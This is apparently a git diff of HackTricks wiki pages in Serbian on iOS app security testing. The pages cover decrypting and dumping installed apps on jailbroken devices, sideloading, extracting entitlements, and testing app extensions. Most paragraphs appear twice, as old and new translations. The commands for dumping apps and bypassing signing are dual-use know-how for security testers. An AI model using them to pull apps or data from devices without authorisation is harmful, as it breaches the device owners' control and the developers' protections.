Da biste dumpovali određenu aplikaciju, kao što je Telegram, koristi se sledeća komanda:
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
```
Ova komanda pokreće izvlačenje aplikacije, rezultirajući stvaranjem `Telegram.ipa` datoteke u trenutnom direktorijumu. Ovaj proces je pogodan za jailbroken uređaje, jer se nepotpisane ili lažno potpisane aplikacije mogu ponovo instalirati pomoću alata kao što je [**ios-deploy**](https://github.com/ios-control/ios-deploy).
Ova komanda pokreće dump aplikacije, što rezultira kreiranjem `Telegram.ipa` fajla u trenutnom direktorijumu. Ovaj proces je pogodan za jailbroken uređaje, jer se nesigned ili lažno potpisane aplikacije mogu ponovo instalirati koristeći alate kao što je [**ios-deploy**](https://github.com/ios-control/ios-deploy).
#### **flexdecrypt**
Alat [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), zajedno sa svojim omotačem [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), omogućava izvlačenje IPA datoteka iz instaliranih aplikacija. Komande za instalaciju **flexdecrypt** na uređaju uključuju preuzimanje i instaliranje `.deb` paketa. **flexdump** se može koristiti za listanje i izvlačenje aplikacija, kao što je prikazano u sledećim komandama:
Alat [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), zajedno sa svojim wrapper-om [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), omogućava ekstrakciju IPA fajlova iz instaliranih aplikacija. Komande za instalaciju **flexdecrypt** na uređaju uključuju preuzimanje i instalaciju `.deb` paketa. **flexdump** se može koristiti za listanje i dump aplikacija, kao što je prikazano u komandama ispod:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -141,35 +142,33 @@ flexdump list
flexdump dump Twitter.app
```
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), još jedan alat zasnovan na Fridi, zahteva jailbroken uređaj za dešifrovanje aplikacija:
[**bagbak**](https://github.com/ChiChou/bagbak), još jedan alat zasnovan na Fridi, zahteva jailbreak-ovan uređaj za dekripciju aplikacija:
```bash
bagbak --raw Chrome
```
#### **r2flutch**
**r2flutch**, koristeći i radare i fridu, služi za dešifrovanje i iskopiranje aplikacija. Više informacija možete pronaći na njegovoj [**GitHub stranici**](https://github.com/as0ler/r2flutch).
**r2flutch**, koristeći radare i frida, služi za dekripciju i dumpovanje aplikacija. Više informacija možete pronaći na njegovoj [**GitHub stranici**](https://github.com/as0ler/r2flutch).
### **Instaliranje aplikacija**
### **Instalacija Aplikacija**
**Sideloading** se odnosi na instaliranje aplikacija van zvanične App Store prodavnice. Ovaj proces obavlja **installd daemon** i zahteva da aplikacije budu potpisane Apple-ovim sertifikatom. Jailbroken uređaji mogu zaobići ovo korišćenjem **AppSync**-a, omogućavajući instaliranje lažno potpisanih IPA paketa.
**Sideloading** se odnosi na instalaciju aplikacija van zvanične App Store. Ovaj proces upravlja **installd daemon** i zahteva da aplikacije budu potpisane Apple-ovim sertifikatom. Jailbroken uređaji mogu to zaobići putem **AppSync**, omogućavajući instalaciju lažno potpisanih IPA paketa.
#### **Alati za sideloading**
#### **Alati za Sideloading**
- **Cydia Impactor**: Alat za potpisivanje i instaliranje IPA fajlova na iOS i APK fajlova na Androidu. Vodiči i rešavanje problema mogu se pronaći na [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Cydia Impactor**: Alat za potpisivanje i instalaciju IPA datoteka na iOS-u i APK datoteka na Androidu. Vodiči i rešenja za probleme mogu se pronaći na [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **libimobiledevice**: Biblioteka za Linux i macOS za komunikaciju sa iOS uređajima. Komande za instalaciju i primeri korišćenja za ideviceinstaller su dostupni za instaliranje aplikacija preko USB-a.
- **libimobiledevice**: Biblioteka za Linux i macOS za komunikaciju sa iOS uređajima. Komande za instalaciju i primeri korišćenja za ideviceinstaller su obezbeđeni za instalaciju aplikacija preko USB-a.
- **ipainstaller**: Ovaj alat komandne linije omogućava direktnu instalaciju aplikacija na iOS uređajima.
- **ipainstaller**: Ovaj alat za komandnu liniju omogućava direktnu instalaciju aplikacija na iOS uređajima.
- **ios-deploy**: Za korisnike macOS-a, ios-deploy instalira iOS aplikacije sa komandne linije. Dekompresovanje IPA fajla i korišćenje opcije `-m` za direktno pokretanje aplikacije su deo procesa.
- **ios-deploy**: Za korisnike macOS-a, ios-deploy instalira iOS aplikacije iz komandne linije. Dešifrovanje IPA i korišćenje `-m` oznake za direktno pokretanje aplikacije su deo procesa.
- **Xcode**: Koristite Xcode za instaliranje aplikacija tako što ćete otići na **Window/Devices and Simulators** i dodati aplikaciju u **Installed Apps**.
#### **Dozvoljavanje instalacije aplikacija na uređajima koji nisu iPad**
Da biste instalirali aplikacije specifične za iPad na uređajima iPhone ili iPod touch, vrednost **UIDeviceFamily** u fajlu **Info.plist** treba promeniti u **1**. Međutim, ova modifikacija zahteva ponovno potpisivanje IPA fajla zbog provere potpisa.
**Napomena**: Ovaj metod može da ne uspe ako aplikacija zahteva mogućnosti koje su ekskluzivne za novije modele iPada dok se koristi stariji iPhone ili iPod touch.
- **Xcode**: Koristite Xcode za instalaciju aplikacija navigirajući do **Window/Devices and Simulators** i dodajući aplikaciju u **Installed Apps**.
#### **Dozvolite Instalaciju Aplikacija na Ne-iPad Uređajima**
Da biste instalirali aplikacije specifične za iPad na iPhone ili iPod touch uređaje, potrebno je promeniti **UIDeviceFamily** vrednost u **Info.plist** datoteci na **1**. Ova modifikacija, međutim, zahteva ponovo potpisivanje IPA datoteke zbog provere validacije potpisa.
**Napomena**: Ova metoda može propasti ako aplikacija zahteva mogućnosti koje su ekskluzivne za novije modele iPad-a dok se koristi stariji iPhone ili iPod touch.
## Reference
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
@ -178,16 +177,17 @@ Da biste instalirali aplikacije specifične za iPad na uređajima iPhone ili iPo
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Izdvajanje privilegija iz kompajlirane aplikacije
# Extracting Entitlements from Compiled Application
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Sažetak stranice [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
Summary of the page [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
### **Izdvajanje privilegija i mobilnih provizionih fajlova**
### **Extracting Entitlements and Mobile Provision Files**
Kada se bavite IPA aplikacijom ili instaliranom aplikacijom na jailbroken uređaju, možda neće biti moguće pronaći `.entitlements` fajlove ili `embedded.mobileprovision` fajl direktno. Međutim, privilegije mogu biti izdvojene iz binarne aplikacije, prateći postupke opisane u poglavlju "iOS Basic Security Testing", posebno u odeljku "Acquiring the App Binary".
Kada se radi sa IPA aplikacijom ili instaliranom aplikacijom na jailbroken uređaju, možda neće biti moguće direktno pronaći `.entitlements` datoteke ili `embedded.mobileprovision` datoteku. Međutim, liste svojstava entitlements i dalje se mogu izvući iz binarne datoteke aplikacije, prateći procedure opisane u poglavlju "iOS Basic Security Testing", posebno u odeljku "Acquiring the App Binary".
Čak i sa enkriptovanim binarnim fajlovima, određeni koraci mogu biti primenjeni za izdvajanje ovih fajlova. Ukoliko ovi koraci ne uspeju, može biti potrebno koristiti alate kao što su Clutch (ako je kompatibilan sa verzijom iOS-a), frida-ios-dump ili slični alati za dekripciju i izdvajanje aplikacije.
Čak i sa enkriptovanim binarnim datotekama, određeni koraci se mogu primeniti za ekstrakciju ovih datoteka. Ako ovi koraci ne uspeju, alati kao što su Clutch (ako je kompatibilan sa verzijom iOS-a), frida-ios-dump ili slične uslužne programe mogu biti potrebni za dekripciju i ekstrakciju aplikacije.
#### **Izdvajanje Entitlements Plist fajla iz binarne aplikacije**
#### **Extracting the Entitlements Plist from the App Binary**
Sa binarnom aplikacijom dostupnom na računaru, **binwalk** se može koristiti za izdvajanje svih XML fajlova. Sledeća komanda demonstrira kako to uraditi:
Sa binarnom datotekom aplikacije dostupnom na računaru, **binwalk** se može koristiti za ekstrakciju svih XML datoteka. Komanda ispod prikazuje kako to učiniti:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -34,33 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
Alternativno, **radare2** se može koristiti za tiho pokretanje komande i izlazak, pretražujući sve stringove u binarnom fajlu aplikacije koji sadrže "PropertyList":
Alternativno, **radare2** može biti korišćen za tiho pokretanje komande i izlazak, pretražujući sve stringove u aplikacionom binarnom fajlu koji sadrže "PropertyList":
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
Oba metoda, binwalk i radare2, omogućavaju ekstrakciju `plist` datoteka, a pregled prvog (0x0015d2a4) otkriva uspešno vraćanje [originalne datoteke privilegija iz Telegrama](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Obe metode, binwalk i radare2, omogućavaju ekstrakciju `plist` fajlova, pri čemu inspekcija prvog (0x0015d2a4) otkriva uspešno vraćanje [originalnog fajla sa ovlašćenjima iz Telegrama](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Za binarne aplikacije pristupljene na jailbroken uređajima (npr. putem SSH-a), komanda **grep** sa opcijom `-a, --text` može se koristiti za tretiranje svih datoteka kao ASCII teksta:
Za aplikacione binarne fajlove pristupene na jailbreakovanim uređajima (npr. putem SSH), **grep** komanda sa `-a, --text` flagom može se koristiti da tretira sve fajlove kao ASCII tekst:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
Prilagođavanje zastavice `-A num, --after-context=num` omogućava prikazivanje više ili manje linija. Ova metoda je primenjiva čak i na šifrovane binarne aplikacije i proverena je na više aplikacija iz App Store-a. Prethodno pomenuti alati takođe se mogu koristiti na jailbroken iOS uređajima u slične svrhe.
Podešavanje `-A num, --after-context=num` opcije omogućava prikaz više ili manje linija. Ova metoda je izvodljiva čak i za enkriptovane aplikacione binarne datoteke i verifikovana je na više aplikacija iz App Store-a. Alati pomenuti ranije mogu se takođe koristiti na jailbreakovanim iOS uređajima u slične svrhe.
**Napomena**: Direktno korišćenje komande `strings` nije preporučljivo za ovaj zadatak zbog ograničenja u pronalaženju relevantnih informacija. Umesto toga, preporučuje se korišćenje grep sa zastavicom `-a` na binarnom fajlu ili korišćenje radare2 (`izz`)/rabin2 (`-zz`) za efikasnije rezultate.
**Napomena**: Direktna upotreba `strings` komande se ne preporučuje za ovaj zadatak zbog njenih ograničenja u pronalaženju relevantnih informacija. Umesto toga, preporučuje se korišćenje grep-a sa `-a` opcijom na binarnoj datoteci ili korišćenje radare2 (`izz`)/rabin2 (`-zz`) za efikasnije rezultate.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# iOS App Ekstenzije
# iOS App Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
App ekstenzije poboljšavaju funkcionalnost aplikacija omogućavajući im da komuniciraju sa drugim aplikacijama ili sistemom, pružajući prilagođene funkcije ili sadržaj. Ove ekstenzije uključuju:
Ekstenzije aplikacija poboljšavaju funkcionalnost aplikacija omogućavajući im interakciju sa drugim aplikacijama ili sistemom, pružajući prilagođene funkcije ili sadržaj. Ove ekstenzije uključuju:
- **Prilagođena tastatura**: Nudi jedinstvenu tastaturu u svim aplikacijama, zamenjujući podrazumevanu iOS tastaturu.
- **Deljenje**: Omogućava deljenje na društvenim mrežama ili direktno sa drugima.
- **Danas (Vidžeti)**: Pruža sadržaj ili obavlja zadatke brzo iz Pregleda danas u Centru za obaveštenja.
- **Deljenje**: Omogućava deljenje na društvenim mrežama ili sa drugima direktno.
- **Danas (Widgeti)**: Pruža sadržaj ili obavlja zadatke brzo iz pregleda Danas u centru za obaveštenja.
Kada korisnik koristi ove ekstenzije, kao što je deljenje teksta iz glavne aplikacije, ekstenzija obrađuje ovaj unos unutar svog konteksta, koristeći deljene informacije za obavljanje svojih zadataka, kako je detaljno opisano u dokumentaciji Apple-a.
Kada korisnik koristi ove ekstenzije, kao što je deljenje teksta iz matične aplikacije, ekstenzija obrađuje ovaj unos unutar svog konteksta, koristeći deljene informacije za obavljanje svog zadatka, kako je detaljno opisano u Apple-ovoj dokumentaciji.
### **Bezbednosne razmatranja**
### **Bezbednosna razmatranja**
Ključni bezbednosni aspekti uključuju:
- Ekstenzije i aplikacije koje ih sadrže komuniciraju putem međuprocesne komunikacije, a ne direktno.
- **Danas vidžet** je jedinstven po tome što može zatražiti da se njegova aplikacija otvori putem određene metode.
- Deljen pristup podacima je dozvoljen unutar privatnog kontejnera, ali direktni pristup je ograničen.
- Određeni API-ji, uključujući HealthKit, su zabranjeni za aplikacione ekstenzije, koje takođe ne mogu pokretati dugotrajne zadatke, pristupati kameri ili mikrofonu, osim za iMessage ekstenzije.
- Ekstenzije i njihove matične aplikacije komuniciraju putem međuprocesne komunikacije, a ne direktno.
- **Danas widget** je jedinstven po tome što može zatražiti od svoje aplikacije da se otvori putem specifične metode.
- Pristup deljenim podacima je dozvoljen unutar privatnog kontejnera, ali je direktan pristup ograničen.
- Određeni API-ji, uključujući HealthKit, su zabranjeni za ekstenzije aplikacija, koje takođe ne mogu započeti dugotrajne zadatke, pristupiti kameri ili mikrofonu, osim za iMessage ekstenzije.
### Statička analiza
### Staticka analiza
#### **Identifikacija aplikacionih ekstenzija**
#### **Identifikacija ekstenzija aplikacija**
Da biste pronašli aplikacione ekstenzije u izvornom kodu, pretražite `NSExtensionPointIdentifier` u Xcode-u ili pregledajte paket aplikacije za `.appex` fajlove koji ukazuju na ekstenzije. Bez izvornog koda, koristite grep ili SSH da biste pronašli ove identifikatore unutar paketa aplikacije.
Da biste pronašli ekstenzije aplikacija u izvor kodu, pretražujte `NSExtensionPointIdentifier` u Xcode-u ili pregledajte paket aplikacije za `.appex` datoteke koje označavaju ekstenzije. Bez izvornog koda, koristite grep ili SSH da locirate ove identifikatore unutar paketa aplikacije.
#### **Podržani tipovi podataka**
Proverite `Info.plist` fajl ekstenzije za `NSExtensionActivationRule` kako biste identifikovali podržane tipove podataka. Ova postavka osigurava da samo kompatibilni tipovi podataka pokreću ekstenziju u glavnim aplikacijama.
Proverite `Info.plist` datoteku ekstenzije za `NSExtensionActivationRule` kako biste identifikovali podržane tipove podataka. Ova postavka osigurava da samo kompatibilni tipovi podataka aktiviraju ekstenziju u matičnim aplikacijama.
#### **Deljenje podataka**
Deljenje podataka između aplikacije i njene ekstenzije zahteva deljeni kontejner, koji se podešava putem "App Groups" i pristupa se putem `NSUserDefaults`. Ovaj deljeni prostor je neophodan za pozadinske transfere pokrenute od strane ekstenzija.
Deljenje podataka između aplikacije i njene ekstenzije zahteva zajednički kontejner, postavljen putem "App Groups" i pristupljen kroz `NSUserDefaults`. Ovaj zajednički prostor je neophodan za pozadinske transfere koje pokreću ekstenzije.
#### **Ograničavanje ekstenzija**
Aplikacije mogu ograničiti određene vrste ekstenzija, posebno prilagođene tastature, kako bi se osiguralo da rukovanje osetljivim podacima bude u skladu sa bezbednosnim protokolima.
Aplikacije mogu ograničiti određene tipove ekstenzija, posebno prilagođene tastature, osiguravajući da rukovanje osetljivim podacima bude u skladu sa bezbednosnim protokolima.
### Dinamička analiza
Dinamička analiza uključuje:
- **Pregledanje deljenih stavki**: Povežite se sa `NSExtensionContext - inputItems` da biste videli podržane tipove podataka i poreklo.
- **Identifikacija ekstenzija**: Otkrijte koje ekstenzije obrađuju vaše podatke posmatranjem internih mehanizama, poput `NSXPCConnection`.
- **Ispitivanje deljenih stavki**: Hook u `NSExtensionContext - inputItems` da biste videli deljene tipove podataka i poreklo.
- **Identifikacija ekstenzija**: Otkrijte koje ekstenzije obrađuju vaše podatke posmatrajući unutrašnje mehanizme, poput `NSXPCConnection`.
Alati poput `frida-trace` mogu pomoći u razumevanju osnovnih procesa, posebno za one koji su zainteresovani za tehničke detalje međuprocesne komunikacije.
@ -62,16 +63,17 @@ Alati poput `frida-trace` mogu pomoći u razumevanju osnovnih procesa, posebno z
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
